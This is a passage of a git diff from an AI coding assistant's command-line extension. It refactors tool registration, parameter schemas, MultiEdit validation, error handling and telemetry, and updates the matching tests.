are always available const BASE_BUILTIN_TOOLS: Tool[] = [ readFileTool, - editTool, - multiEditTool, writeFileTool, - // searchAndReplaceInFileTool, listFilesTool, searchCodeTool, runTerminalCommandTool, @@ -44,82 +51,57 @@ const BASE_BUILTIN_TOOLS: Tool[] = [ writeChecklistTool, ]; -// Export BUILTIN_TOOLS as the base set of tools -// Dynamic tools (like exit tool in headless mode) are added separately -export const BUILTIN_TOOLS: Tool[] = BASE_BUILTIN_TOOLS; - -// Get dynamic tools based on current state -function getDynamicTools(): Tool[] { - const dynamicTools: Tool[] = []; - - // Add headless-specific tools if in headless mode - try { - const serviceResult = getServiceSync( - SERVICE_NAMES.TOOL_PERMISSIONS, - ); - const isHeadless = serviceResult.value?.isHeadless ?? false; - if (isHeadless) { - dynamicTools.push(exitTool); - } - } catch { - // Service not ready yet, no dynamic tools - } - - return dynamicTools; -} - -// Check if the current model is capable and should exclude Edit tool -function shouldExcludeEditTool(): boolean { - try { - const modelServiceResult = getServiceSync( - SERVICE_NAMES.MODEL, - ); - - if ( - modelServiceResult.state === "ready" && - modelServiceResult.value?.model - ) { - const { name, provider, model } = modelServiceResult.value.model; - - // Check if model is capable - const isCapable = isModelCapable(provider, name, model); - - logger.debug("Capability-based tool filtering", { - provider, - name, - isCapable, - willExcludeEdit: isCapable, - }); - - return isCapable; - } - } catch (error) { - logger.debug("Error checking model capability for tool filtering", { - error, - }); - } - return false; -} - // Get all builtin tools including dynamic ones, with capability-based filtering -export function getAllBuiltinTools(): Tool[] { - let builtinTools = [...BUILTIN_TOOLS]; +export async function getAllAvailableTools( + isHeadless: boolean, +): Promise { + const tools = [...BASE_BUILTIN_TOOLS]; - // Apply capability-based filtering for edit tools // If model is capable, exclude editTool in favor of multiEditTool - if (shouldExcludeEditTool()) { - builtinTools = builtinTools.filter((tool) => tool.name !== editTool.name); + const modelState = await serviceContainer.get( + SERVICE_NAMES.MODEL, + ); + if (!modelState.model) { + throw new Error("Model service is not initialized"); + } + + const { provider, name, model } = modelState.model; + + const isCapable = isModelCapable(provider, name, model); + if (isCapable) { + tools.push(multiEditTool); + } else { + tools.push(editTool); logger.debug( "Excluded Edit tool for capable model - MultiEdit will be used instead", ); } - return [...builtinTools, ...getDynamicTools()]; + logger.debug("Capability-based tool filtering", { + provider, + name, + isCapable, + }); + + if (isHeadless) { + tools.push(exitTool); + } + + // Add beta status tool if --beta-status-tool flag is present + if (process.argv.includes("--beta-status-tool")) { + tools.push(statusTool); + } + + const mcpState = await serviceContainer.get( + SERVICE_NAMES.MCP, + ); + tools.push(...mcpState.tools.map(convertMcpToolToContinueTool)); + + return tools; } export function getToolDisplayName(toolName: string): string { - const allTools = getAllBuiltinTools(); - const tool = allTools.find((t) => t.name === toolName); + const tool = ALL_BUILT_IN_TOOLS.find((t) => t.name === toolName); return tool?.displayName || toolName; } @@ -148,44 +130,43 @@ export function extractToolCalls( return toolCalls; } -function convertInputSchemaToParameters(inputSchema: any): ToolParameters { - const parameters: Record< - string, - { type: string; description: string; required: boolean } - > = {}; - for (const [key, value] of Object.entries(inputSchema.properties)) { - const val = value as any; - parameters[key] = { - type: val.type, - description: val.description || "", - required: inputSchema.required?.includes(key) || false, - }; - } - return parameters; +export function convertToolToChatCompletionTool( + tool: Tool, +): ChatCompletionTool { + return { + type: "function" as const, + function: { + name: tool.name, + description: tool.description, + parameters: { + type: "object", + required: tool.parameters.required, + properties: tool.parameters.properties, + }, + }, + }; } -export async function getAvailableTools() { - // Load MCP tools - const mcpState = await serviceContainer.get( - SERVICE_NAMES.MCP, - ); - const tools = mcpState.tools ?? []; - const mcpTools: Tool[] = - tools.map((t) => ({ - name: t.name, - displayName: t.name.replace("mcp__", "").replace("ide__", ""), - description: t.description ?? "", - parameters: convertInputSchemaToParameters(t.inputSchema), - readonly: undefined, // MCP tools don't have readonly property - isBuiltIn: false, - run: async (args: any) => { - const result = await mcpState.mcpService?.runTool(t.name, args); - return JSON.stringify(result?.content) ?? ""; - }, - })) || []; - - const allTools: Tool[] = [...getAllBuiltinTools(), ...mcpTools]; - return allTools; +export function convertMcpToolToContinueTool(mcpTool: MCPTool): Tool { + return { + name: mcpTool.name, + displayName: mcpTool.name.replace("mcp__", "").replace("ide__", ""), + description: mcpTool.description ?? "", + parameters: { + type: "object", + properties: (mcpTool.inputSchema.properties ?? {}) as Record< + string, + ParameterSchema + >, + required: mcpTool.inputSchema.required, + }, + readonly: undefined, // MCP tools don't have readonly property + isBuiltIn: false, + run: async (args: any) => { + const result = await services.mcp?.runTool(mcpTool.name, args); + return JSON.stringify(result?.content) ?? ""; + }, + }; } export async function executeToolCall( @@ -212,6 +193,11 @@ export async function executeToolCall( durationMs: duration, toolParameters: JSON.stringify(toolCall.arguments), }); + void posthogService.capture("tool_call_outcome", { + succeeded: true, + toolName: toolCall.name, + duration_ms: duration, + }); logger.debug("Tool execution completed", { toolName: toolCall.name, @@ -222,25 +208,37 @@ export async function executeToolCall( } catch (error) { const duration = Date.now() - startTime; const errorMessage = error instanceof Error ? error.message : String(error); + const errorReason = + error instanceof ContinueError + ? error.reason + : ContinueErrorReason.Unknown; telemetryService.logToolResult({ toolName: toolCall.name, success: false, durationMs: duration, error: errorMessage, + errorReason, toolParameters: JSON.stringify(toolCall.arguments), }); + void posthogService.capture("tool_call_outcome", { + succeeded: false, + toolName: toolCall.name, + duration_ms: duration, + errorReason, + }); - return `Error executing tool "${toolCall.name}": ${errorMessage}`; + throw error; } } +// Only checks top-level required export function validateToolCallArgsPresent(toolCall: ToolCall, tool: Tool) { - for (const [paramName, paramDef] of Object.entries(tool.parameters)) { + const requiredParams = tool.parameters.required ?? []; + for (const paramName of requiredParams) { if ( - paramDef.required && - (toolCall.arguments[paramName] === undefined || - toolCall.arguments[paramName] === null) + toolCall.arguments[paramName] === undefined || + toolCall.arguments[paramName] === null ) { throw new Error( `Required parameter "${paramName}" missing for tool "${toolCall.name}"`, diff --git a/extensions/cli/src/tools/listFiles.ts b/extensions/cli/src/tools/listFiles.ts index 181d4a9f1..3af33c14f 100644 --- a/extensions/cli/src/tools/listFiles.ts +++ b/extensions/cli/src/tools/listFiles.ts @@ -10,22 +10,39 @@ export const listFilesTool: Tool = { displayName: "List", description: "List files in a directory", parameters: { - dirpath: { - type: "string", - description: "The path to the directory to list", - required: true, + type: "object", + required: ["dirpath"], + properties: { + dirpath: { + type: "string", + description: "The path to the directory to list", + }, }, }, readonly: true, isBuiltIn: true, preprocess: async (args) => { + // Resolve relative paths + const normalizedPath = path.normalize(args.dirpath); + const dirPath = path.resolve(process.cwd(), normalizedPath); + + if (!fs.existsSync(dirPath)) { + throw new Error(`Directory does not exist: ${dirPath}`); + } + + if (!fs.statSync(dirPath).isDirectory()) { + throw new Error(`Error: Path is not a directory: ${dirPath}`); + } + return { - args, + args: { + dirpath: dirPath, + }, preview: [ { type: "text", - content: args.dirpath - ? `Will list files in: ${formatToolArgument(args.dirpath)}` + content: dirPath + ? `Will list files in: ${formatToolArgument(dirPath)}` : "Will list files in current directory", }, ], @@ -33,14 +50,6 @@ export const listFilesTool: Tool = { }, run: async (args: { dirpath: string }): Promise => { try { - if (!fs.existsSync(args.dirpath)) { - return `Error: Directory does not exist: ${args.dirpath}`; - } - - if (!fs.statSync(args.dirpath).isDirectory()) { - return `Error: Path is not a directory: ${args.dirpath}`; - } - const files = fs.readdirSync(args.dirpath); const fileDetails = files.map((file) => { const fullPath = path.join(args.dirpath, file); @@ -52,9 +61,11 @@ export const listFilesTool: Tool = { return `Files in ${args.dirpath}:\n${fileDetails.join("\n")}`; } catch (error) { - return `Error listing files: ${ - error instanceof Error ? error.message : String(error) - }`; + throw new Error( + `Error listing files: ${ + error instanceof Error ? error.message : String(error) + }`, + ); } }, }; diff --git a/extensions/cli/src/tools/multiEdit.test.ts b/extensions/cli/src/tools/multiEdit.test.ts index 597cab767..1f6d9cfde 100644 --- a/extensions/cli/src/tools/multiEdit.test.ts +++ b/extensions/cli/src/tools/multiEdit.test.ts @@ -1,10 +1,17 @@ import * as fs from "fs"; import * as path from "path"; +import { ContinueError, ContinueErrorReason } from "core/util/errors.js"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import { + calculateLinesOfCodeDiff, + getLanguageFromFilePath, +} from "../telemetry/utils.js"; + import { multiEditTool } from "./multiEdit.js"; import { markFileAsRead } from "./readFile.js"; +import { generateDiff } from "./writeFile.js"; // Mock the dependencies vi.mock("../telemetry/telemetryService.js"); @@ -15,6 +22,7 @@ vi.mock("../telemetry/utils.js", () => ({ vi.mock("./writeFile.js", () => ({ generateDiff: vi.fn().mockReturnValue("mocked diff"), })); + vi.mock("fs", async () => { const actual = await vi.importActual("fs"); return { @@ -27,7 +35,7 @@ vi.mock("fs", async () => { }; }); -describe("multiEditTool", () => { +describe("multiEditTool CLI specific", () => { const testFilePath = "/tmp/test-multi-edit-file.txt"; const originalContent = "Hello world\nThis is a test file\nGoodbye world"; @@ -38,13 +46,21 @@ describe("multiEditTool", () => { vi.mocked(fs.readFileSync).mockReturnValue(originalContent); vi.mocked(fs.writeFileSync).mockImplementation(() => {}); vi.mocked(fs.realpathSync).mockImplementation((path) => path.toString()); + + // Setup utility mocks with proper return values + vi.mocked(calculateLinesOfCodeDiff).mockReturnValue({ + added: 1, + removed: 0, + }); + vi.mocked(getLanguageFromFilePath).mockReturnValue("javascript"); + vi.mocked(generateDiff).mockReturnValue("mocked diff"); }); afterEach(() => { vi.clearAllMocks(); }); - describe("preprocess", () => { + describe("file system validation", () => { it("should throw error if file has not been read", async () => { const args = { file_path: testFilePath, @@ -56,9 +72,9 @@ describe("multiEditTool", () => { ], }; - await expect(multiEditTool.preprocess!(args)).rejects.toThrow( - `You must use the Read tool to read ${testFilePath} before editing it.`, - ); + const error = await multiEditTool.preprocess!(args).catch((e) => e); + expect(error).toBeInstanceOf(ContinueError); + expect(error.reason).toBe(ContinueErrorReason.EditToolFileNotRead); }); it("should throw error if file does not exist", async () => { @@ -76,117 +92,31 @@ describe("multiEditTool", () => { ], }; - await expect(multiEditTool.preprocess!(args)).rejects.toThrow( - `File ${nonExistentFile} does not exist`, - ); + const error = await multiEditTool.preprocess!(args).catch((e) => e); + expect(error).toBeInstanceOf(ContinueError); + expect(error.reason).toBe(ContinueErrorReason.FileNotFound); }); - it("should throw error if edits array is empty", async () => { - markFileAsRead(testFilePath); - + it("should throw error if file_path is missing", async () => { const args = { - file_path: testFilePath, - edits: [], - }; - - await expect(multiEditTool.preprocess!(args)).rejects.toThrow( - "edits array is required and must contain at least one edit", - ); - }); - - it("should throw error if edit has missing old_string", async () => { - markFileAsRead(testFilePath); - - const args = { - file_path: testFilePath, edits: [ { - old_string: undefined as any, - new_string: "Hi there", + old_string: "Hello", + new_string: "Hi", }, ], }; - await expect(multiEditTool.preprocess!(args)).rejects.toThrow( - "Edit 1: old_string is required", + const error = await multiEditTool.preprocess!(args).catch((e) => e); + expect(error).toBeInstanceOf(ContinueError); + expect(error.reason).toBe( + ContinueErrorReason.FindAndReplaceMissingFilepath, ); }); + }); - it("should throw error if edit has missing new_string", async () => { - markFileAsRead(testFilePath); - - const args = { - file_path: testFilePath, - edits: [ - { - old_string: "Hello world", - new_string: undefined as any, - }, - ], - }; - - await expect(multiEditTool.preprocess!(args)).rejects.toThrow( - "Edit 1: new_string is required", - ); - }); - - it("should throw error if old_string and new_string are the same", async () => { - markFileAsRead(testFilePath); - - const args = { - file_path: testFilePath, - edits: [ - { - old_string: "Hello world", - new_string: "Hello world", - }, - ], - }; - - await expect(multiEditTool.preprocess!(args)).rejects.toThrow( - "Edit 1: old_string and new_string must be different", - ); - }); - - it("should throw error if old_string is not found", async () => { - markFileAsRead(testFilePath); - vi.mocked(fs.readFileSync).mockReturnValue("Different content"); - - const args = { - file_path: testFilePath, - edits: [ - { - old_string: "Not found", - new_string: "Hi there", - }, - ], - }; - - await expect(multiEditTool.preprocess!(args)).rejects.toThrow( - 'Edit 1: String not found in file: "Not found"', - ); - }); - - it("should throw error if old_string appears multiple times and replace_all is false", async () => { - markFileAsRead(testFilePath); - - const args = { - file_path: testFilePath, - edits: [ - { - old_string: "world", - new_string: "universe", - replace_all: false, - }, - ], - }; - - await expect(multiEditTool.preprocess!(args)).rejects.toThrow( - 'Edit 1: String "world" appears 2 times in the file. Either provide a more specific string with surrounding context to make it unique, or use replace_all=true to replace all occurrences.', - ); - }); - - it("should successfully preprocess single edit", async () => { + describe("preprocess CLI specific", () => { + it("should generate preview with diff", async () => { markFileAsRead(testFilePath); const args = { @@ -201,120 +131,16 @@ describe("multiEditTool", () => { const result = await multiEditTool.preprocess!(args); - expect(result.args).toEqual({ - file_path: testFilePath, - newContent: "Hi there\nThis is a test file\nGoodbye world", - originalContent: originalContent, - isCreatingNewFile: false, - editCount: 1, - }); expect(result.preview).toHaveLength(2); expect(result.preview?.[0]).toEqual({ type: "text", - content: "Will apply 1 edit to modify /tmp/test-multi-edit-file.txt:", + content: "Will apply 1 edit to /tmp/test-multi-edit-file.txt:", }); expect(result.preview?.[1]).toEqual({ type: "diff", content: "mocked diff", }); }); - - it("should successfully preprocess multiple edits", async () => { - markFileAsRead(testFilePath); - - const args = { - file_path: testFilePath, - edits: [ - { - old_string: "Hello world", - new_string: "Hi there", - }, - { - old_string: "Goodbye world", - new_string: "See you later", - }, - ], - }; - - const result = await multiEditTool.preprocess!(args); - - expect(result.args.newContent).toBe( - "Hi there\nThis is a test file\nSee you later", - ); - expect(result.args.editCount).toBe(2); - expect(result.preview?.[0]?.content).toContain("Will apply 2 edits"); - }); - - it("should successfully preprocess replace_all edit", async () => { - markFileAsRead(testFilePath); - - const args = { - file_path: testFilePath, - edits: [ - { - old_string: "world", - new_string: "universe", - replace_all: true, - }, - ], - }; - - const result = await multiEditTool.preprocess!(args); - - expect(result.args.newContent).toBe( - "Hello universe\nThis is a test file\nGoodbye universe", - ); - }); - - it("should handle new file creation with empty old_string", async () => { - const newFilePath = "/tmp/new-file.txt"; - vi.mocked(fs.existsSync).mockImplementation((path) => { - // Parent directory exists, but file doesn't - if (path === "/tmp") return true; - if (path === newFilePath) return false; - return true; - }); - - const args = { - file_path: newFilePath, - edits: [ - { - old_string: "", - new_string: "New file content\nSecond line", - }, - ], - }; - - const result = await multiEditTool.preprocess!(args); - - expect(result.args.newContent).toBe("New file content\nSecond line"); - expect(result.args.isCreatingNewFile).toBe(true); - expect(result.preview?.[0]?.content).toContain("create"); - }); - - it("should apply edits sequentially", async () => { - markFileAsRead(testFilePath); - - const args = { - file_path: testFilePath, - edits: [ - { - old_string: "Hello world", - new_string: "Hi universe", - }, - { - old_string: "Hi universe", - new_string: "Greetings cosmos", - }, - ], - }; - - const result = await multiEditTool.preprocess!(args); - - expect(result.args.newContent).toBe( - "Greetings cosmos\nThis is a test file\nGoodbye world", - ); - }); }); describe("run", () => { @@ -324,7 +150,6 @@ describe("multiEditTool", () => { file_path: testFilePath, newContent, originalContent: originalContent, - isCreatingNewFile: false, editCount: 1, }; @@ -345,7 +170,6 @@ describe("multiEditTool", () => { file_path: testFilePath, newContent: "New content", originalContent: originalContent, - isCreatingNewFile: false, editCount: 3, }; @@ -356,22 +180,6 @@ describe("multiEditTool", () => { ); }); - it("should return correct message for new file creation", async () => { - const args = { - file_path: "/tmp/new-file.txt", - newContent: "New file content", - originalContent: "", - isCreatingNewFile: true, - editCount: 1, - }; - - const result = await multiEditTool.run(args); - - expect(result).toBe( - `Successfully created /tmp/new-file.txt with 1 edit\nDiff:\nmocked diff`, - ); - }); - it("should throw error if file write fails", async () => { vi.mocked(fs.writeFileSync).mockImplementation(() => { throw new Error("Write failed"); @@ -381,13 +189,12 @@ describe("multiEditTool", () => { file_path: testFilePath, newContent: "new content", originalContent: originalContent, - isCreatingNewFile: false, editCount: 1, }; - await expect(multiEditTool.run(args)).rejects.toThrow( - `Error: failed to edit ${testFilePath}: Write failed`, - ); + const error = await multiEditTool.run(args).catch((e) => e); + expect(error).toBeInstanceOf(ContinueError); + expect(error.reason).toBe(ContinueErrorReason.FileWriteError); }); }); @@ -473,34 +280,6 @@ describe("multiEditTool", () => { expect(result.args.file_path).toBe(absolutePath); }); - - it("should handle relative path for new file creation", async () => { - const relativePath = "new-file.txt"; - const absolutePath = path.resolve(process.cwd(), relativePath); - - vi.mocked(fs.existsSync).mockImplementation((path) => { - // Parent directory (cwd) exists, but file doesn't - if (path === process.cwd()) return true; - if (path === absolutePath) return false; - return true; - }); - - const args = { - file_path: relativePath, - edits: [ - { - old_string: "", - new_string: "New file content", - }, - ], - }; - - const result = await multiEditTool.preprocess!(args); - - expect(result.args.file_path).toBe(absolutePath); - expect(result.args.newContent).toBe("New file content"); - expect(result.args.isCreatingNewFile).toBe(true); - }); }); describe("markFileAsRead", () => { @@ -518,7 +297,9 @@ describe("multiEditTool", () => { }; const result = await multiEditTool.preprocess!(args); - expect(result.args.newContent).toContain("Hi there"); + expect(result.args.newContent).toBe( + "Hi there\nThis is a test file\nGoodbye world", + ); }); }); }); diff --git a/extensions/cli/src/tools/multiEdit.ts b/extensions/cli/src/tools/multiEdit.ts index 351a37afe..983687c94 100644 --- a/extensions/cli/src/tools/multiEdit.ts +++ b/extensions/cli/src/tools/multiEdit.ts @@ -1,7 +1,8 @@ import * as fs from "fs"; -import * as path from "path"; -import { throwIfFileIsSecurityConcern } from "core/indexing/ignore.js"; +import { validateMultiEdit } from "core/edit/searchAndReplace/multiEditValidation.js"; +import { executeMultiFindAndReplace } from "core/edit/searchAndReplace/performReplace.js"; +import { ContinueError, ContinueErrorReason } from "core/util/errors.js"; import { telemetryService } from "../telemetry/telemetryService.js"; import { @@ -9,7 +10,8 @@ import { getLanguageFromFilePath, } from "../telemetry/utils.js"; -import { readFilesSet, readFileTool } from "./readFile.js"; +import { editTool, validateAndResolveFilePath } from "./edit.js"; +import { readFileTool } from "./readFile.js"; import { Tool } from "./types.js"; import { generateDiff } from "./writeFile.js"; @@ -24,125 +26,23 @@ export interface MultiEditArgs { edits: EditOperation[]; } -// Helper functions for multiEdit validation -function validateMultiEditArgs(args: any): { - original_path: string; - resolved_path: string; - edits: EditOperation[]; -} { - const { file_path, edits } = args as MultiEditArgs; - - if (!file_path) { - throw new Error("file_path is required"); - } - if (!edits || !Array.isArray(edits) || edits.length === 0) { - throw new Error( - "edits array is required and must contain at least one edit", - ); - } - - // Convert relative paths to absolute paths - const absolutePath = path.isAbsolute(file_path) - ? file_path - : path.resolve(process.cwd(), file_path); - - const resolvedPath = fs.realpathSync(absolutePath); - - return { original_path: file_path, resolved_path: resolvedPath, edits }; -} - -function validateEdits(edits: EditOperation[]): void { - for (let i = 0; i < edits.length; i++) { - const edit = edits[i]; - if (!edit.old_string && edit.old_string !== "") { - throw new Error(`Edit ${i + 1}: old_string is required`); - } - if (edit.new_string === undefined) { - throw new Error(`Edit ${i + 1}: new_string is required`); - } - if (edit.old_string === edit.new_string) { - throw new Error( - `Edit ${i + 1}: old_string and new_string must be different`, - ); - } - } -} - -function validateFileAccess( - resolvedPath: string, - isCreatingNewFile: boolean, -): void { - if (isCreatingNewFile) { - // For new file creation, check if parent directory exists - const parentDir = path.dirname(resolvedPath); - if (parentDir && !fs.existsSync(parentDir)) { - throw new Error(`Parent directory does not exist: ${parentDir}`); - } - } else { - // For existing files, check if file has been read - // Check with the original path first, then with absolute path - if (!readFilesSet.has(resolvedPath)) { - throw new Error( - `You must use the ${readFileTool.name} tool to read ${resolvedPath} before editing it.`, - ); - } - if (!fs.existsSync(resolvedPath)) { - throw new Error(`File ${resolvedPath} does not exist`); - } - } -} - -function applyEdit( - content: string, - edit: EditOperation, - editIndex: number, - isFirstEditOfNewFile: boolean, -): string { - const { old_string, new_string, replace_all = false } = edit; - - // For new file creation, the first edit can have empty old_string - if (isFirstEditOfNewFile && old_string === "") { - return new_string; - } - - // Check if old_string exists in current content - if (!content.includes(old_string)) { - throw new Error( - `Edit ${editIndex + 1}: String not found in file: "${old_string}"`, - ); - } - - if (replace_all) { - // Replace all occurrences - return content.split(old_string).join(new_string); - } else { - // Replace only the first occurrence, but check for uniqueness - const occurrences = content.split(old_string).length - 1; - if (occurrences > 1) { - throw new Error( - `Edit ${editIndex + 1}: String "${old_string}" appears ${occurrences} times in the file. Either provide a more specific string with surrounding context to make it unique, or use replace_all=true to replace all occurrences.`, - ); - } - return content.replace(old_string, new_string); - } -} - export const multiEditTool: Tool = { name: "MultiEdit", displayName: "MultiEdit", readonly: false, isBuiltIn: true, - description: `This is a tool for making multiple edits to a single file in one operation. It allows you to perform multiple find-and-replace operations efficiently. -This tool is ideal when you need to make multiple edits to the same file. + description: `Use this tool to make multiple edits to a single file in one operation. It allows you to perform multiple find-and-replace operations efficiently. +Prefer this tool over the ${editTool.name} tool when you need to make multiple edits to the same file. To make multiple edits to a file, provide the following: -1. file_path: The absolute path to the file to modify (must be absolute, not relative) +1. file_path: The absolute path to the file to modify. Relative paths can also be used (resolved against cwd) but absolute is preferred 2. edits: An array of edit operations to perform, where each edit contains: - old_string: The text to replace (must match the file contents exactly, including all whitespace/indentation) - new_string: The edited text to replace the old_string - - replace_all: Replace all occurences of old_string. This parameter is optional and defaults to false. + - replace_all: Replace all occurrences of old_string. This parameter is optional and defaults to false. IMPORTANT: +- Files may be modified between tool calls by users, linters, etc, so always make all edits in one tool call where possible. For example, do not only edit imports if there are other changes in the file, as unused imports may be removed by a linter between tool calls. - All edits are applied in sequence, in the order they are provided - Each edit operates on the result of the previous edit, so plan your edits carefully to avoid conflicts between sequential operations - Edits are atomic - all edits must be valid for the operation to succeed - if any edit fails, none will be applied @@ -156,79 +56,74 @@ CRITICAL REQUIREMENTS: - Always use absolute file paths (starting with /) - Only use emojis if the user explicitly requests it. Avoid adding emojis to files unless asked. - Use replace_all for replacing and renaming strings across the file. This parameter is useful if you want to rename a variable for instance. - -If you want to create a new file, use: -- A new file path, including new directory if needed -- First edit: empty old_string and the new file's contents as new_string -- Subsequent edits: normal edit operations on the created content -- ALWAYS prefer editing existing files in the codebase. NEVER write new files unless explicitly required +- Empty old_string can be used to insert content at the beginning of a file WARNINGS: - If earlier edits affect the text that later edits are trying to find, files can become mangled - The tool will fail if edits.old_string doesn't match the file contents exactly (including whitespace) - The tool will fail if edits.old_string and edits.new_string are the same - they MUST be different -- The tool will fail if you have not used the ${readFileTool.name} tool to read the file in this session`, +- The tool will fail if you have not used the ${readFileTool.name} tool to read the file in this session +- The tool will fail if the file does not exist - it cannot create new files +- This tool cannot create new files - the file must already exist`, parameters: { - file_path: { - type: "string", - description: "The absolute path to the file to modify", - required: true, - }, - edits: { - type: "array", - description: - "Array of edit operations to perform sequentially on the file", - required: true, - items: { - type: "object", + type: "object", + required: ["file_path", "edits"], + properties: { + file_path: { + type: "string", + description: + "Absolute or relative path to the file to modify. Absolute preferred", + }, + edits: { + type: "array", + description: + "Array of edit operations to perform sequentially on the file", + items: { + type: "object", + required: ["old_string", "new_string"], + properties: { + old_string: { + type: "string", + description: + "The text to replace (exact match including whitespace/indentation)", + }, + new_string: { + type: "string", + description: + "The text to replace it with. MUST be different than old_string.", + }, + replace_all: { + type: "boolean", + description: + "Replace all occurrences of old_string (default false) in the file", + }, + }, + }, }, }, }, preprocess: async (args) => { - // Validate and extract arguments - const { resolved_path, edits } = validateMultiEditArgs(args); + const { resolvedPath } = validateAndResolveFilePath(args); - throwIfFileIsSecurityConcern(resolved_path); + const { edits } = validateMultiEdit(args); - // Validate each edit operation - validateEdits(edits); - - // Check if this is creating a new file (first edit has empty old_string) - const isCreatingNewFile = edits[0].old_string === ""; - - // Validate file access - validateFileAccess(resolved_path, isCreatingNewFile); - - // Read current file content (or start with empty for new files) - let currentContent = ""; - if (!isCreatingNewFile) { - currentContent = fs.readFileSync(resolved_path, "utf-8"); - } - - const originalContent = currentContent; - let newContent = currentContent; - - // Apply all edits sequentially - for (let i = 0; i < edits.length; i++) { - const isFirstEditOfNewFile = i === 0 && isCreatingNewFile; - newContent = applyEdit(newContent, edits[i], i, isFirstEditOfNewFile); - } + const currentContent = fs.readFileSync(resolvedPath, "utf-8"); + const newContent = executeMultiFindAndReplace(currentContent, edits); // Generate diff for preview - const diff = generateDiff(originalContent, newContent, resolved_path); + const diff = generateDiff(currentContent, newContent, resolvedPath); return { args: { - file_path: resolved_path, + file_path: resolvedPath, newContent, - originalContent, - isCreatingNewFile, + originalContent: currentContent, editCount: edits.length, }, preview: [ { type: "text", - content: `Will apply ${edits.length} edit${edits.length === 1 ? "" : "s"} to ${isCreatingNewFile ? "create" : "modify"} ${resolved_path}:`, + content: `Will apply ${edits.length} edit${edits.length === 1 ? "" : "s"} to ${resolvedPath}:`, }, { type: "diff", @@ -241,7 +136,6 @@ WARNINGS: file_path: string; newContent: string; originalContent: string; - isCreatingNewFile: boolean; editCount: number; }) => { try { @@ -272,10 +166,13 @@ WARNINGS: args.file_path, ); - const action = args.isCreatingNewFile ? "created" : "edited"; - return `Successfully ${action} ${args.file_path} with ${args.editCount} edit${args.editCount === 1 ? "" : "s"}\nDiff:\n${diff}`; + return `Successfully edited ${args.file_path} with ${args.editCount} edit${args.editCount === 1 ? "" : "s"}\nDiff:\n${diff}`; } catch (error) { - throw new Error( + if (error instanceof ContinueError) { + throw error; + } + throw new ContinueError( + ContinueErrorReason.FileWriteError, `Error: failed to edit ${args.file_path}: ${ error instanceof Error ? error.message : String(error) }`, diff --git a/extensions/cli/src/tools/preprocess.test.ts b/extensions/cli/src/tools/preprocess.test.ts index 787b8d5ef..eb38b91d4 100644 --- a/extensions/cli/src/tools/preprocess.test.ts +++ b/extensions/cli/src/tools/preprocess.test.ts @@ -1,7 +1,7 @@ import * as fs from "fs"; import * as diff from "diff"; -import { describe, it, expect, beforeEach, vi } from "vitest"; +import { beforeEach, describe, expect, it, vi } from "vitest"; // Mock fs module vi.mock("fs", async () => { @@ -30,7 +30,6 @@ import { fetchTool } from "./fetch.js"; import { listFilesTool } from "./listFiles.js"; import { readFileTool } from "./readFile.js"; import { runTerminalCommandTool } from "./runTerminalCommand.js"; -import { searchAndReplaceInFileTool } from "./searchAndReplace/index.js"; import { searchCodeTool } from "./searchCode.js"; import { viewDiffTool } from "./viewDiff.js"; import { writeFileTool } from "./writeFile.js"; @@ -346,123 +345,4 @@ describe.skip("Tool preprocess functions", () => { }); }); }); - - describe("searchAndReplaceInFileTool.preprocess", () => { - it("should process simple search and replace", async () => { - // Setup mocks - mockExistsSync.mockReturnValue(true); - mockReadFileSync.mockReturnValue("old line 1\nold line 2\nold line 3"); - - const args = { - filepath: "path/to/file.txt", - diffs: [ - `------- SEARCH -old line 2 -======= -new line 2 -+++++++ REPLACE`, - ], - }; - - const result = await searchAndReplaceInFileTool.preprocess!(args); - - expect(mockExistsSync).toHaveBeenCalled(); - expect(mockReadFileSync).toHaveBeenCalled(); - expect(mockCreateTwoFilesPatch).toHaveBeenCalled(); - - expect(result.args).toEqual({ - filepath: expect.any(String), - newContent: "old line 1\nnew line 2\nold line 3", - oldContent: "old line 1\nold line 2\nold line 3", - }); - - expect(result.preview).toEqual([ - { - type: "text", - content: "Will make the following changes:", - }, - { - type: "diff", - content: "mock diff content", - }, - ]); - }); - - it("should throw error when file doesn't exist", async () => { - mockExistsSync.mockReturnValue(false); - - const args = { - filepath: "/nonexistent/file.txt", - diffs: ["some diff"], - }; - - await expect( - searchAndReplaceInFileTool.preprocess!(args), - ).rejects.toThrowError(/file .* does not exist/); - }); - - it("should throw error when no search/replace blocks found", async () => { - mockExistsSync.mockReturnValue(true); - mockReadFileSync.mockReturnValue("file content"); - - const args = { - filepath: "path/to/file.txt", - diffs: ["invalid diff format"], - }; - - await expect( - searchAndReplaceInFileTool.preprocess!(args), - ).rejects.toThrowError( - "No complete search/replace blocks found in any diffs", - ); - }); - - it("should throw error when search content not found", async () => { - mockExistsSync.mockReturnValue(true); - mockReadFileSync.mockReturnValue("old line 1\nold line 2\nold line 3"); - - const args = { - filepath: "path/to/file.txt", - diffs: [ - `------- SEARCH -nonexistent content -======= -replacement -+++++++ REPLACE`, - ], - }; - - await expect( - searchAndReplaceInFileTool.preprocess!(args), - ).rejects.toThrowError(/Search content not found in block 1:/); - }); - - it("should process multiple search/replace blocks", async () => { - mockExistsSync.mockReturnValue(true); - mockReadFileSync.mockReturnValue("line 1\nline 2\nline 3\nline 4"); - - const args = { - filepath: "path/to/file.txt", - diffs: [ - `------- SEARCH -line 1 -======= -modified line 1 -+++++++ REPLACE - -------- SEARCH -line 3 -======= -modified line 3 -+++++++ REPLACE`, - ], - }; - - const result = await searchAndReplaceInFileTool.preprocess!(args); - - expect(result.args.newContent).toBe( - "modified line 1\nline 2\nmodified line 3\nline 4", - ); - }); - }); }); diff --git a/extensions/cli/src/tools/readFile.ts b/extensions/cli/src/tools/readFile.ts index 9f270ae30..9bcf18329 100644 --- a/extensions/cli/src/tools/readFile.ts +++ b/extensions/cli/src/tools/readFile.ts @@ -1,6 +1,7 @@ import * as fs from "fs"; import { throwIfFileIsSecurityConcern } from "core/indexing/ignore.js"; +import { ContinueError, ContinueErrorReason } from "core/util/errors.js"; import { formatToolArgument } from "./formatters.js"; import { Tool } from "./types.js"; @@ -16,10 +17,13 @@ export const readFileTool: Tool = { displayName: "Read", description: "Read the contents of a file at the specified path", parameters: { - filepath: { - type: "string", - description: "The path to the file to read", - required: true, + type: "object", + required: ["filepath"], + properties: { + filepath: { + type: "string", + description: "The path to the file to read", + }, }, }, readonly: true, @@ -48,7 +52,10 @@ export const readFileTool: Tool = { } if (!fs.existsSync(filepath)) { - return `Error: File does not exist: ${filepath}`; + throw new ContinueError( + ContinueErrorReason.Unspecified, + `File does not exist: ${filepath}`, + ); } const realPath = fs.realpathSync(filepath); 